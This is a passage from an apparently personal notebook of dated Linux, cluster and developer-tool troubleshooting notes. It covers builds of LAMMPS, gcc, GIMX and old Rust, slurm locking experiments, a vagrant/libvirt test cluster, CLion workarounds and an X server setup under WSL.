revealed\nsomething peculiar. There were names like `_ZN16lammps_has_error`.\n\nLooking at the generated bindings.rs revealed that erroneous `#[link_name]`\nattributes were being added to the file on matisse.\n\nIt appears this is because the version of libclang available to me was old.\nbindgen has a workaround for this (`trust_clang_mangling(false)`).\nI added this to `lammps_sys`.\n\n<!-- ----------------------------->\n# building lammps with kolmogorov-crespi-z\n\n**(2018-01-26)**\n\nThere is a `make` target you should make before the main build, which moves the appropriate cpp file (and some others) into the source directory.\n\n```sh\n# THIS is the one you need to use\nmake yes-user-misc\n\n# DO NOT DO ANY OF THESE\nexit 1 # (copy-pasta guard)\nmake user-misc # WRONG! this is invalid, the lammps docs are lying to you\nmake yes-user # WRONG! that will get ALL the user packages, which will require ALL the libs\nmake yes-lib # WRONG! that way lies sorrow, much much sorrow, death is inevitable\n```\n\n<!-- ----------------------------->\n# adaptive PGP pinentry\n\n**(2018-02-24)**\n\n`dotfiles/bin` now has an adaptive pinentry that appears in the console\nwhen possible and in a gui when necessary.\n\nIt needs to be manually set up:\n\n```\necho 'pinentry-program /home/exp/dotfiles/bin/pinentry-exphp' >>~/.gnupg/gpg-agent.conf\n```\n\n<!-- ----------------------------->\n# HP 2055dn printer\n\n**(2018-04-25)**\n\nIn short, I still haven't gotten this to work\n\n## Definitely true things:\n\n* You should install `hplip` so that the right model shows up under Model in CUPS.\n\n## Other notes\n\n* To get the CUPS administration page to actually present a password prompt, I need to use Firefox (not Chromium). Why? Idunno.\n* Colin was able to connect with a socket URL and IP: `socket://128.113.x.y`. Note: He used the KDE tools instead of the CUPS administration page.\n* For some reason right now my machine can resolve an IP for the address `icmp2055dn.phys.rpi.edu` but I was unable to use it in a socket URL.\n\n<!-- ----------------------------->\n# Transferring files to/from Android\n\n**(2018-04-28)**\n\n*Sooooo...*\n\nTurns out MTP on Linux is a nightmare.\n\nHere's what to do about it:\n\n1. **REBOOT YOUR PHONE.** The MTP file scanner on the device itself may not run very frequently. And when it doesn't run, the phone communicates old filesystem information to the computer. So if the filesystem you see after step 2 does not reflect the current state of the filesystem on the phone, it's because you **need to reboot it.**\n2. Don't trust KDE's device popup. (if you click it, it will give a \"path does not exist error\"). Instead, manually mount it with a tool called \"simple-mtpfs\"\n\n ```\n sudo pikaur -S simple-mtpfs\n sudo reboot -h now # always reboot after installing MTP related stuff.\n # MTP is terrible.\n simple-mtpfs --device 1 ~/mnt\n ```\n\n<!-- ----------------------------->\n# GIMX\n\n**(2018-06-03)**\n\nGIMX is a tool for allowing a PC to spoof a PlayStation 3 controller.\n\n## Building\n\nThe README doesn't mention this (or anything about how to build), but there's submodules.\n\n```sh\ngit submodule init\ngit submodule update\nmake -kj4 # -k to 'keep going' on error\n```\n\nI got this error:\n\n```\ndisplay.c:11:10: fatal error: ncursesw/ncurses.h: No such file or directory\n #include <ncursesw/ncurses.h>\n ^~~~~~~~~~~~~~~~~~~~\n```\n\nAnd fixed it by following a suggestion on Reddit to `#include <curses.h>` instead.\n\n(**note:** on my system, there is a file called `cursesw.h`, which by name would appear to be the more correct choice; but when I tried it there were a bunch of syntax errors, and I haven't felt the need to look further into it since `curses.h` seems to work)\n\nThen there is the matter of installation.\n\n## Installation\n\n**Hooooooo boy.**\n\nThis is a goddamn mess of epic proportions.\n\n### Installing to a custom prefix\n\n**Do not run `sudo make install`.**\n\n* `make install` wants to install everything to `/usr`. **I wouldn't.** The installation includes unrelated files, including a copy of `bdaddr` from the `bluez-utils` package, which will inevitably cause pacman conflicts.\n* Their makefiles defines the installation prefix in an... unorthodox manner:\n ```Makefile\n # (unfortunately this appears in many, many files due to recursive make)\n prefix=$(DESTDIR)/usr\n ```\n I honestly can't imagine what they were going for.\n\nI highly recommend **giving it its own dedicated install directory,** so that some bullshit can be addressed later.\n\n```\nsudo DESTDIR=/opt/GIMX make install\nsudo tee -a /opt/GIMX/env <<'HERE'\nexport PATH=/opt/GIMX/usr/bin:$PATH\nexport LD_LIBRARY_PATH=/opt/GIMX/usr/lib:$LD_LIBRARY_PATH\nHERE\nsudo chmod +x /opt/GIMX/env\n```\n\nand source `/opt/GIMX/env` in `.bashrc`.\n\n### Unsetting the SETUID bits\n\nAfter installing it, I noticed something strange. `ldd` would report that all libraries could be successfully found, yet `gimx` would still fail with linker errors.\n\n```\n$ gimx\ngimx: error while loading shared libraries: libgimxlog.so: cannot open shared object file: No such file or directory\n$ ldd $(which gimx) | grep libgimx\n libgimxlog.so => /opt/GIMX/usr/lib/libgimxlog.so (0x00007f468fd9b000)\n libgimxhid.so => /opt/GIMX/usr/lib/libgimxhid.so (0x00007f468fb94000)\n libgimxgpp.so => /opt/GIMX/usr/lib/libgimxgpp.so (0x00007f468f990000)\n libgimxcontroller.so => /opt/GIMX/usr/lib/libgimxcontroller.so (0x00007f468f781000)\n libgimxinput.so => /opt/GIMX/usr/lib/libgimxinput.so (0x00007f468f56b000)\n libgimxuhid.so => /opt/GIMX/usr/lib/libgimxuhid.so (0x00007f468f367000)\n libgimxpoll.so => /opt/GIMX/usr/lib/libgimxpoll.so (0x00007f468f164000)\n libgimxprio.so => /opt/GIMX/usr/lib/libgimxprio.so (0x00007f468ef62000)\n libgimxserial.so => /opt/GIMX/usr/lib/libgimxserial.so (0x00007f468ed5e000)\n libgimxtimer.so => /opt/GIMX/usr/lib/libgimxtimer.so (0x00007f468eb5b000)\n libgimxusb.so => /opt/GIMX/usr/lib/libgimxusb.so (0x00007f468e954000)\n```\n\nThe explanation lies in the file permissions.\n\n```\n$ ls -l /opt/GIMX/usr/bin\ntotal 1920\n-rwsr-sr-x 1 root root 19288 Jun 3 12:39 bdaddr\n-rwsr-sr-x 1 root root 13752 Jun 3 12:39 ds4tool\n-rwsr-sr-x 1 root root 267584 Jun 3 12:39 gimx\n-rwxr-xr-x 1 root root 631496 Jun 3 12:39 gimx-config\n-rwxr-xr-x 1 root root 407024 Jun 3 12:39 gimx-fpsconfig\n-rwxr-xr-x 1 root root 408576 Jun 3 12:39 gimx-launcher\n-rwxr-xr-x 1 root root 168272 Jun 3 12:39 gimx-loader\n-rwsr-sr-x 1 root root 13136 Jun 3 12:39 hcirevision\n-rwsr-sr-x 1 root root 13008 Jun 3 12:39 sixaddr\n```\n\nNotice the 's' flags on many of the binaries. This is the SETUID flag.\n\n> Ahhh, so *that's* why they include `bdaddr`. **Wait, what the fuck!??**\n\nClean up this egregious safety issue:\n\n```\nsudo chmod ug-s /opt/GIMX/usr/bin/*\n```\n\nUnfortunately, after having done this, you will find that Matheiu had reasons (not good reasons, but reasons nonetheless) for doing this. Notice that four of the commands are not +s (e.g. `gimx-config`). These are meant to be userspace. They use config files and logs in your own user directory, and then call `gimx`. (apparently it used to use `gksu`, but there were no doubt setups in which this method was not available)\n\nI don't actually know what the solution to this problem is.\n\n<!-- ----------------------------->\n# Building old rust versions\n\n**(2018-06-13)**\n\nWhen I tried to build rust from a commit circa December 2016, bootstrapping failed trying to download the `stage0` compiler from a dead amazonaws URL. Solution:\n\n* Create the `build/TARGET-TRIPLE/stage0` directory and put symlinks to the system `rustc` and `cargo` there (the ones provided by rustup).\n* Comment out the part of `src/bootstrap/bootstrap.py` that downloads rustc.\n* Try building (`x.py build`). Probably it will die quickly due to the use of a now-removed nightly feature. Try installing old rust stable versions and setting them as overrides until it works.\n* If you still have no luck, `cargo-rustc-bisect` is capable of downloading even old nightlies that `rustup` somehow refuses to. In the `cargo-rustc-bisect` repo:\n ```rustc\n cargo new lol # cargo-rustc-bisect demands a test-dir, whether it uses it or not\n cargo run -- --install 2016-12-23 --test-dir lol\n ```\n and it will appear in the `rustup` toolchain list.\n\n<!-- ----------------------------->\n# Simulating a slow hard drive\n\n**(2018-06-14)**\n\nhttp://planet.jboss.org/post/debugging_tip_how_to_simulate_a_slow_hardisk\n\nIn summary\n\n```sh\n# as root\n\"cat > /etc/nbd-server/config\" <<EOF\n[generic]\n[test]\n exportname = /home/lampam/test_nbd\n copyonwrite = false\nEOF\n\n# make blank test file\ndd if=/dev/zero of=/home/lampam/test_nbd bs=1G count=1\n\nsudo systemctl start nbd\n# monitor with\njournalctl -f --unit nbd\n\n# newer versions don't accept a port number\nsudo nbd-client -N test 127.0.0.1 /dev/nbd0\n\n# connect and format\nsudo mkfs /dev/nbd0\nsudo mkdir /mnt/nbd\n# sync option is important to not allow the kernel to cheat!\nsudo mount -o sync /dev/nbd0 /mnt/nbd\nsudo chmod a+rwx /mnt/nbd\n# disconnect\nsudo umount /mnt/nbd\nsudo nbd-client -d /dev/nbd0\nsudo systemctl stop nbd\n\n# connect through trickle, throttled to 20kbps\ntrickle -d 20 -u 20 -v nbd-server -d\nsudo nbd-client -N test 127.0.0.1 /dev/nbd0\nsudo mount -o sync /dev/nbd0 /mnt/nbd\n```\n\n<!-- ----------------------------->\n# When I open my laptop and see a blank screen\n\n**(2018-07-19)**\n\nI finally figured it out. This happens occassionally after the following sequence of events:\n\n- I close the lid with a monitor attached. (the machine will not suspend)\n- The machine does not suspend due to the monitor. Oops.\n- I open the lid, wait for everything to show up, detach the monitor, wait for visual feedback (screen should flicker once), and close the lid again.\n- Machine suspends.\n\nNext time I open the lid, my system resumes from suspend but the screen might appear to remain off (not even backlit).\nI can move to another tty using Ctrl+Alt+Fn, and those show up fine, but the screen turns back off if I return to the tty hosting X.\n\nThe solution is actually embarrasingly simple:\n\n**Hit the projector key.** (`XF86Display`)\n\nI guess the above sequence of events confuses plasma into using an incorrect monitor setup.\n\nI saw messages in journalctl from kscreen about not using a configuration because \"this is not what the user wants!\", but did not have the presence of mind to record them.\n\n**(2018-09-12)**\n\nOH FFS WHY WOULD THEY DO THIS\n\n...so...today I tried this and it didn't work. After rebooting and trying the projector key, the reason is obvious: Now when you hit the key it opens a small overlay in the CENTER OF THE GODDAMN SCREEN that you have to interact with WITH YOUR MOUSE. No keyboard keys appear to do anything to it (including repeated presses of the projector)\n\n**What imbicile designed a Switch Displays menu that requires a working display!?!**\n\nTo future me, when this happens again: **Good luck.**\n\n...\n\nAnd maybe try this: (I don't know if it will work!) **(Update 2018-10-11: IT WORKS!!!!!)**\n\n```\nxrandr --output LVDS-1 --auto\n```\n\nI suggest typing that into the Ctrl+Alt+F2 Linux console where you can see it, then Ctrl+Alt+F1 and blindly log in, open a new Konsole, do an Up-Enter, and pray.\n\n<!-- ----------------------------->\n# Building RSP2 on Komodo\n\n**(2018-08-15)**\n\nSo many things have needed to be done for this. Unfortunately I did not record most error messages:\n\n* Python 3.7 required by `rsp2`\n* newer versions of OpenSSL and libffi required by Python 3.7\n* newer version of `cython` required by pip3\n * ...but I could never get pip3 to actually download anything. SSL errors.\n* `scipy` required by `rsp2`\n* `spglib` required by `rsp2`\n* a newer `binutils` because... hell if I remember. I think it was because at some point I tried replacing `netlib` with a different LAPACK implementation and encountered a bug in `ld` (but after building `binutils` I soon ran into another error that I can't remember and went back to `netlib`).\n* Newer `cmake` (`2.8.12.2 -> 3.12.1`) required by `netlib-src`\n* autotools more recent than the system version required by the `libffi-sys` crate.\n * I did not do this and instead patched the crate to bring back `pkg-config`-based searching for shared libraries. (because I mean, c'mon, I just built libffi myself!!)\n* `libclang` required by the `bindgen` crate\n* `llvm` required by `clang`\n* Newer `gcc` (`4.9.0 -> 8.2.0`) required to build `llvm`, as 4.9 had a bug\n* Newer OpenMPI (`1.4.2 -> 3.1.1`) because rsmpi uses constants and types that are not available in version 1.x of the spec.\n\nAnd some miscellaneous other things:\n\n* The `make` automatic environment vars `CC`, `FC`, `CXX`, `LD`, `AR`, and `AS` should be set for a variety of reasons.\n I adjusted the `~/apps/gcc/*/env` scripts to do this.\n* Sometimes object files appear in the `vendor/` source for one of the crates related to `openblas`, because they are for some reason written to the cached source in `.cargo`. These can make `cargo` mad at you when it sees them change. If you see them, delete the offending source from `.cargo` and `vendor` on your local machine and rerun `cargo vendor`\n* The modulefile on komodo for `mkl/10.3.5` points to nonexistent paths; I made a new one with correct paths.\n\nHere's logs of what error messages I had the presence of mind to record:\n\n**`gcc` bug encountered while building `llvm`** (fixed by updating from GCC 4.9.0 to GCC 7.2.0)\n```\n/home/lampam/build/llvm/lib/Analysis/MemorySSA.cpp: In constructor ‘{anonymous}::ClobberWalker::generic_def_path_iterator<T, Walker>::generic_def_path_iterator() [with T = {anonymous}::ClobberWalker::DefPath; Walker = {anonymous}::ClobberWalker]’:\n/home/lampam/build/llvm/lib/Analysis/MemorySSA.cpp:594:5: error: conversion from ‘const llvm::NoneType’ to non-scalar type ‘llvm::Optional<unsigned int>’ requested\n generic_def_path_iterator() = default;\n ^\n/home/lampam/build/llvm/lib/Analysis/MemorySSA.cpp: In member function ‘llvm::iterator_range<{anonymous}::ClobberWalker::generic_def_path_iterator<{anonymous}::ClobberWalker::DefPath, {anonymous}::ClobberWalker> > {anonymous}::ClobberWalker::def_path({anonymous}::ClobberWalker::ListIndex)’:\n/home/lampam/build/llvm/lib/Analysis/MemorySSA.cpp:622:72: note: synthesized method ‘{anonymous}::ClobberWalker::generic_def_path_iterator<T, Walker>::generic_def_path_iterator() [with T = {anonymous}::ClobberWalker::DefPath; Walker = {anonymous}::ClobberWalker]’ first required here\n return make_range(def_path_iterator(this, From), def_path_iterator());\n ^\n/home/lampam/build/llvm/lib/Analysis/MemorySSA.cpp: In constructor ‘{anonymous}::ClobberWalker::generic_def_path_iterator<T, Walker>::generic_def_path_iterator() [with T = const {anonymous}::ClobberWalker::DefPath; Walker = const {anonymous}::ClobberWalker]’:\n/home/lampam/build/llvm/lib/Analysis/MemorySSA.cpp:594:5: error: conversion from ‘const llvm::NoneType’ to non-scalar type ‘llvm::Optional<unsigned int>’ requested\n generic_def_path_iterator() = default;\n ^\n/home/lampam/build/llvm/lib/Analysis/MemorySSA.cpp: In member function ‘llvm::iterator_range<{anonymous}::ClobberWalker::generic_def_path_iterator<const {anonymous}::ClobberWalker::DefPath, const {anonymous}::ClobberWalker> > {anonymous}::ClobberWalker::const_def_path({anonymous}::ClobberWalker::ListIndex) const’:\n/home/lampam/build/llvm/lib/Analysis/MemorySSA.cpp:627:47: note: synthesized method ‘{anonymous}::ClobberWalker::generic_def_path_iterator<T, Walker>::generic_def_path_iterator() [with T = const {anonymous}::ClobberWalker::DefPath; Walker = const {anonymous}::ClobberWalker]’ first required here\n const_def_path_iterator());\n ^\n```\n\n**`automake 1.16` needs a newer perl**\n```\nhelp2man: can't get `--help' info from automake-1.16\nTry `--no-discard-stderr' if option outputs to stderr\nmake: *** [doc/automake-1.16.1] Error 2\n```\n\nEventually I caved and built Perl 5.28. On matisse I used `perlbrew` to install perl 5.30. See `apps/perl5/notes`.\n\n<!-- ----------------------------->\n# Building gcc\n\n**(2018-08-18)**\n\n### The dependencies\n\nIMPORTANT!!!!\n\nWhen you try to configure gcc it will spit out errors about needing MPFR, MPC, etc.\n**The version numbers listed in this error message are wrong for GCC 7.2.0.**\n\nBut fear not:\n\n* **There is a script at `contrib/download_dependencies`.**\n* It will download the correct versions, unzip them, and make symlinks in locations that are checked by GCC's build system.\n* As long as those symlinks exist **you do not need to build them yourself. They will be built when you build GCC.** This should make things many times easier.\n\n```\nDEST=$HOME/apps/gcc/8.2.0\n\ncontrib/download_dependencies\n./configure --prefix=$DEST --enable-languages=c,c++,fortran && make && make install\n```\n\n**NOTE:** On my first attempt I ran with `--enable-languages=all` and had `make -j4`. This gave a weird error about \"no rule for `(something-i-forget).h.in`\" which persisted on repeated attempts to run `make`, even without `-j4`. So I wiped everything clean (`rm -rf` all but `.git` and `git reset --hard`) and used the command written above. I decided to ctrl-C and add back the `-j4` after a couple of minutes when it looked like the dependencies were all done being built.\n\n\n<!-- ----------------------------->\n# debugging on komodo (or: why you can't just yet)\n\n(2018-08-23)\n\n* The latest gdb 0.8.1 doesn't support python 3.7 yet due to improper use of cpython internal APIs.\n* when I tried to build gdb from master, perl (still komodo's old version) segfaulted.\n Sigh... one of these days I'll have no choice but to build perl.\n* lldb 6.0.0 requires libedit. Okay, taken care of.\n* lldb 6.0.0 requires a version of Python2 with support for `except Type as ident:` syntax.\n (komodo's 2.4 predates this).\n* I've built Python3 3 times on this machine, and don't particularly feel like building Python2\n right now.\n\n<!-- ----------------------------->\n# lockfiles and slurm\n\n(2018-08-24)\n\n**The idea:** Have multiple independent slurm jobs (each using -N1) picking inputs from a single source. Each input should only be computed once.\n\n**The problem:** This requires claiming a directory somehow in a way not subject to race conditions.\n\n## Things that didn't work\n\nThere is a utility called `flock` which atomically aquires a lockfile. Luckily it is avaiable on Komodo.\n\nHowever.... thankfully, I had the presence of mind to test it before using it.\n\n**test-lockfile**\n```bash\n#!/usr/bin/env bash\n# spawn several processes simultaneously\nfor p in $(seq 1 1 5); do (\n # iterate through inputs in a fixed sequence\n # (highly likely to create race conditions)\n for i in $(seq 1 1 300); do\n echo \"$$.$p: check $i\"\n output=lockfile-test-out/$i\n lock=$output/lock\n winner=$output/winner\n mkdir -p $output\n\n # zip forward to maximize race potential\n [[ -e $winner ]] && continue\n\n ( # Lock without race conditions\n flock -nx 200 || exit 1 # -x: exclusive (write) lock\n # -n: nonblocking\n # exit only exits the subshell\n [[ ! -e $winner ]] && {\n # (redundant, but not unreasonable, mkdir that nonetheless\n # amplifies race conditions due to the time spent)\n mkdir -p $output\n echo $$.$p >>$winner\n }\n # lock is released when subshell exits\n ) 200>$lock\n done\n)&\ndone\nwait # otherwise slurm will kill the children\n```\n\nWhen working properly, every `winner` file should end up with one line (for 300 lines total). You can see that `flock` works fine for competition between processes on the same node (or at least, for children of the same process):\n\n```sh\n$ vim ./test-lockfiles # comment out the flock line\n$ rm -rf lockfile-test-out && sbatch -N1 ./test-lockfiles\n$ cat lockfile-test-out/*/winner | wc -l\n1415\n$ vim ./test-lockfiles # restore the flock line\n$ rm -rf lockfile-test-out && sbatch -N1 ./test-lockfiles\n$ cat lockfile-test-out/*/winner | wc -l\n300\n```\n\nUnfortunately, **flock is insufficient for dealing with processes on multiple nodes.**\n\n```sh\n$ rm -rf lockfile-test-out && sbatch -N1 ./test-lockfiles && sbatch -N1 ./test-lockfiles && sbatch -N1 ./test-lockfiles\n$ cat lockfile-test-out/*/winner | wc -l\n616\n```\n\nWhen that failed I tried dumb hacks like this:\n\n```sh\nlock() {\n me=$1 # identifier for this process\n pidfile=$2 # lockfile\n\n # make a pidfile in a manner that presents an extremely small, but not\n # necessarily zero, window where multiple processes may enter a race.\n [[ -e \"$pidfile\" ]] && return 1\n echo $me >>$pidfile\n\n # At this point, processes on different compute nodes may momentarily\n # see different contents in $pidfile. Let's give the networked\n # filesystem some time to resolve these inconsistencies.\n #\n # Unfortunately even 1 whole second is not enough.\n sync # <-- done on a whim; not sure if it even makes a difference\n sleep 5\n\n # winner takes all\n [[ \"$(head -n1 \"$pidfile\")\" == \"$me\" ]]\n}\n```\n\nbut still ended up with 1% of race conditions going through. I don't know how to force the filesystem to syncronize all updates to a given file across all nodes before reading from it.\n\n## Things that do work\n\n**`xargs`'s `--max-procs` (`-P`) option**\n\n```\necho \"${inputs[@]}\" | xargs -n1 -P3 -- bash -c 'some-script $0'\n```\n\nThis option of `xargs` can be used to simulate a semaphore, and it works far more effectively than gnu parallel's semaphore ever has. With this, you can have a single slurm job that gives a dedicated node to each of three processes, by having `some-script` call `srun -N1` to allocate a job step using one process.\n\nNewer versions of `xargs` also have `--process-slot-var=VARNAME` which will assign unique integers to a variable for each of the running commands\n\n<!-- ----------------------------->\n# `no space left on device` while building scipy\n\n**(2018-08-26)**\n\n**Wow.** I've never seen anything like this before.\n\nOn my system, the tempfs filesystem at `/tmp` is ~8GB large. This might have something to do with my use of `ulimit -v`. I am not sure. But in any case, **building and installing `scipy` now requires more than 8GB of space in `/tmp`.** If you get this error, you'll need to remount the tempfs.\n\n```\nsudo mount -o remount,size=16G /tmp\n```\n\n**_Wow._**\n\n...\n\noh, and also. I highly doubt I'll ever run into this again, but:\n\n```\n scipy/cluster/_vq.c:9862:13: error: ‘PyThreadState’ {aka ‘struct _ts’} has no member named ‘exc_value’; did you mean ‘curexc_value’?\n tstate->exc_value = local_value;\n ^~~~~~~~~\n curexc_value\n scipy/cluster/_vq.c:9863:13: error: ‘PyThreadState’ {aka ‘struct _ts’} has no member named ‘exc_traceback’; did you mean ‘curexc_traceback’?\n tstate->exc_traceback = local_tb;\n ^~~~~~~~~~~~~\n curexc_traceback\n```\n\napparently the cython on Arch does not yet have the fix for 3.7 compatibility? (cython 28.5). I decided to just install scipy directly through `pacman` instead.\n\n<!-- ----------------------------->\n# Bash 4.x on komodo\n\nI built it, but don't know what to do with it.\n\n### Difficulty changing the default shell.\n\nI can't use `chsh`.\nInitially to get around this I tried some trick where `.bash_profile` did something like this:\n\n```bash\nmodule use $HOME/apps/bash/4.4\nmodule load bash\nexec $BASH --rcfile $HOME/.bashrc.for-reals\n```\n\nand this seemed to work, but...\n\n### My built `bash` binary segfaults\n\n```\n$ ls **/*.so\nSegmentation fault\n```\n\n...so making it the default shell seems like a bad idea.\n\n(oddly, `make check` in the bash source tree succeeds just fine)\n\n### Trouble with slurm when calling it from `$PATH`\n\nAfter the prior discovery I tried a more conservative approach:\n\n* Load the `bash` module in `.bashrc`\n* When I want to use bash-4.x features, I can just call `bash` to start a nested shell\n\nI tried this, but discovered that my `sbatch` scripts no longer knew about the `module` function.\n\n### In summary\n\nJust don't. I moved the module to a `DO-NOT-USE` directory.\n\n<!-- ----------------------------->\n# clion \"Mark Directory as...\" workaround\n\n**Problem:** Rust projects in clion lack a \"Mark Directory as...\" option because they aren't CMake projects. This leads clion to, of course, assume that EVERYTHING is project source files, and so it indexes way more than it needs to.\n\n**Solution:** Add a single line to `.idea/misc.xml` to trick CLion into believing the project is a CMake project.\n\n**`misc.xml`**\n```xml\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project version=\"4\">\n <!-- vvv this line !!!!! vvv -->\n <component name=\"CMakeWorkspace\" PROJECT_DIR=\"$PROJECT_DIR$\" />\n <component name=\"CargoProjects\">\n <cargoProject FILE=\"$PROJECT_DIR$/Cargo.toml\" />\n </component>\n ...\n```\n\nAnd there you go; right clicking on the directory tree in clion should now have a \"Mark Directory as...\" option.\n\n(note: when you next start clion, it will make a cmake-build-debug folder; open Settings and go to \"Build, Execution, and Deployment > CMake\" to disable rid of that.)\n\n\n\n<!-- ----------------------------->\n# More garbage with komodo\n\n(2018-09-21)\n\nYou can't do `srun -N1 some-mpi-app` on komodo where `some-mpi-app` was built against my `openmpi` 3.x build, because it requires pmi support from slurm. I cannot build `openmpi` 3.x against slurm's PMI because `pmi.h` is nowhere to be found. `apps/slurm/2.2.4/` doesn't even have an `include` dir! (it does have a `libpmi.so`, though...)\n\nI'm now working around this with an `sstep` helper script that runs an sbatch script as a job step synchronously, something that cannot easily be done in Slurm 2.2.4 which lacks `sbatch --wait`.\n\n<!-- ----------------------------->\n\n# `vagrant` test cluster for `slurm`\n\nThe `archlinux/archlinux` vagrant box has two providers: `libvirt` and `virtualbox`.\n\nThe `virtualbox` package in the arch repo seems horribly broken as of August 2018 (I got errors about nonexistent kernel modules), so go with `libvirt`.\n\n```\nsudo pacman -S libvirt qemu dnsmasq vagrant # necessary\nsudo pacman -S virt-manager virt-viewer # good debugging tools\n```\n\n* Verify hardware support for KVM: https://wiki.archlinux.org/index.php/KVM#Checking_support_for_KVM\n\n* Check that vendor-appropriate KVM module is loaded\n\n```\nlsmod | grep kvm\n```\n\nIf you see `kvm` but do not see either `kvm_intel` or `kvm_amd` (and attempting to `modprobe kvm-intel` gives \"Operation not supported\"), check that virtualization is not disabled in your BIOS settings.\n\n* Install vagrant plugins\n\n```\nvagrant box add archlinux/archlinux\n# choose libvirt at the interactive prompt\n\nvagrant plugin install pkg-config # the other plugin fails to install without this\nvagrant plugin install vagrant-libvirt\n```\n\n### Debugging tips\n\n**Find state and names of all libvirt domains:**\n\n```\nsudo virsh list\n```\n\nIf `vagrant ssh` or `vagrant up` blocks forever, try **viewing the primary monitor.** This will let you see e.g. the BIOS screen on a domain that refuses to boot.\n\n```\nsudo virt-viewer --connect qemu:///session cluster_server1\n```\n\nFor **broadly useful info on an image file:** (format, size...)\n\n```\n$ sudo qemu-img info /var/lib/libvirt/images/cluster-fast_vagrant_box_image_0.img\nimage: /var/lib/libvirt/images/cluster-fast_vagrant_box_image_0.img\nfile format: qcow2\nvirtual size: 20G (21474836480 bytes)\ndisk size: 3.3G\ncluster_size: 65536\nFormat specific information:\n compat: 1.1\n lazy refcounts: false\n refcount bits: 16\n corrupt: false\n```\n\nIf you want to **check the filesystem directly on an image file,** try `guestfish`.\n\n```\nsudo guestfish /var/lib/libvirt/images/cluster-fast_vagrant_box_image_0.img\n\n><fs> run\n><fs> mount /dev/sda2 /\n><fs> ls /etc\n```\n\n### libguestfs/`guestfish`\n\n(**Note:** This no longer fully applies as, in the end, I came upon a solution which does not rely on that script. However, I'll keep it here because `guestfish` is useful for debugging images that you are trying to package for vagrant)\n\nOne optional script I use (for saving a prebuilt image) requires libguestfs for its `guestfish` command.\n\n```\nsudo pikaur -S libguestfs\n```\n\nIf one of its AUR dependencies, `hivex`, dies during its configure script with:\n\n```\nchecking for mmap... (cached) yes\nchecking for bindtextdomain... yes\nchecking for pod2man... no\nconfigure: error: pod2man must be installed\n==> ERROR: A failure occurred in build().\n Aborting...\n```\n\n...sigh. I don't really know what to say here. So, here's the thing.\n\n* The binaries it wants are in `/usr/bin/core_perl`.\n* You'd think that adding this to your `PATH` would resolve the error. For some reason, however... it does not. Yes, I verified that the variable is exported. Yes, I verified that the binary can be found by `which`. There are forces at work here beyond my understanding. :/\n* Adding symlinks to `/usr/bin` DOES resolve the error.\n\nIt only needs them to make documentation, so... let's do this quickly, quietly, and get it over with.\n\n```sh\n# ew ew gross ewww\nsudo ln -s core_perl/pod2man /usr/bin\nsudo ln -s core_perl/pod2text /usr/bin\n\npikaur -S libguestfs\n\n# THIS NEVER HAPPENED\nsudo rm /usr/bin/pod2man\nsudo rm /usr/bin/pod2text\n```\n\n### Fixing issues while packaging boxes\n\nPackaging a libvirt box is NOT easy. Even beginning with a valid box, you cannot just `halt` it and package it. In the final steps of your provisioning script, you need to burn bridges and basically *undo* a bunch of changes that took place inside the box during `vagrant up`.\n\nIf you run into problems, you're unlikely to find much help by searching the symptoms. Almos all of the fixes I had to make felt completely esoteric and took hours to figure out.\n\nThe best thing to do is **find code that makes `libvirt` packages.** Look at all of the unsightly hacks therein, and figure out which ones apply to your system.\n\nE.g.:\n\n* https://github.com/cgwalters/qcow2-to-vagrant/blob/master/qcow2-to-vagrant\n* https://github.com/jakobadam/packer-qemu-templates (look in the various `scripts` subfolders)\n\nOne other thing: You can't just pack a `qcow2` image directly from `/var/lib/libvirt/images`, because it is stored as a diff against another image. (check `qemu-img info`, you'll see what I mean). **Use `qemu-img convert` to convert it into `raw` format, then back into `qcow2` to normalize it.**\n\n<!-- ----------------------------->\n\n# CLion not finding python modules nested under subdir\n\n(2019-01-23)\n\nIn rsp2 I have this sort of directory structure:\n\n```\nrsp2\n└── src\n ├── io\n ├── python\n │   └── rsp2\n ├── structure\n └── tasks\n```\n\n`rsp2/src/python` is both a Cargo package root (it contains a `Cargo.toml`) and a python root (it contains the python package `rsp2`). When I write other python scripts that try to use this module, I get a \"not found\" error.\n\nCLion doesn't make it easy to add a path to `PYTHONPATH`. It can only add source roots and content roots automatically. Content roots don't even exist in CLion even though the option to add them to `PYTHONPATH` is there (they're a PyCharm thing). So we're stuck with source roots.\n\nWhat is a source root? It's a folder \"Marked as Source\" in the project tree. Unfortunately, you are forbidden from marking a directory as source if it lies within another directory that is already marked as source. Therefore, you must:\n\n* Unmark `rsp2/src` as source.\n* Mark every subdirectory of `rsp2/src` (including `rsp2/src/python`) as source.\n\n<!-- ----------------------------->\n\n# Laptop failing to suspend\n\n(2019-03-28)\n\nAfter an update to my arch packages, my ThinkPad T430s now sometimes fails to suspend when the lid is closed, going into a state where the power button blinks and fans can be heard spinning.\n\nThings tried:\n\n- Downgrading to `linux-lts` kernel (did not work)\n- This: https://bbs.archlinux.org/viewtopic.php?pid=1835891#p1835891\n\n<!-- ----------------------------->\n\n# Environment modules setup\n\n(2019-06-05)\n\nKeywords: cm, modulefiles, apps, cluster, komodo, matisse\n\nSince around 2018, I've been installing my compiled software on komodo to environment modules (i.e. `mod load`, `mod avail`...).\n\nMy setup is hosted at [https://github.com/exphp-share/cm-files](https://github.com/exphp-share/cm-files).\n\n<!-- ----------------------------->\n\n# WSL 1 and WSL 2\n\n(2021-07-21)\n\nTo get both WSL 1 and WSL 2 I just installed two versions of Ubuntu from the windows store, and did the WSL 2 upgrade steps on one of them.\n\nCAREFUL! The WSL 2 upgrade process appears to make a temporary copy of everything in your WSL install. (and not just `/home` but also `/usr`, etc.) So ideally, for the fastest upgrade, **you should upgrade that distro to WSL 2 before doing/installing anything in it.**\n\n# X server and chromedriver in WSL\n\n(2021-07-21)\n\nI needed these for testing web applications through Selenium `webdriver`.\n\nWindows is currently working on an integrated X/Wayland server, but it's not ready for the general public yet.\n\nSo I installed `VcXsrv.exe`.\n\n* I primarily followed this: https://www.gregbrisebois.com/posts/chromedriver-in-wsl2/\n* I also took some tips from here, most importantly that **you need to set change a Compatibility setting on Xlaunch for it to even appear**. https://www.shogan.co.uk/how-tos/wsl2-gui-x-server-using-vcxsrv/ (for some reason this person also installs a desktop manager, lol)\n* **You must disable access control in VcXsrv** (a checkbox you have to change on the last page in xlaunch.exe)\n* **You also must let VcXsrv through the firewall on both private AND PUBLIC networks!** WSL 2 counts as a public network!!!\n\nSetting DISPLAY is already done in the uploaded dotfiles.\n\n**Note:** For some weird reason, on the first day I installed VcXsrv it worked, even though I hadn't enabled VcXsrv on public networks. Then after a reboot it stopped working (all X applications would just hang forever 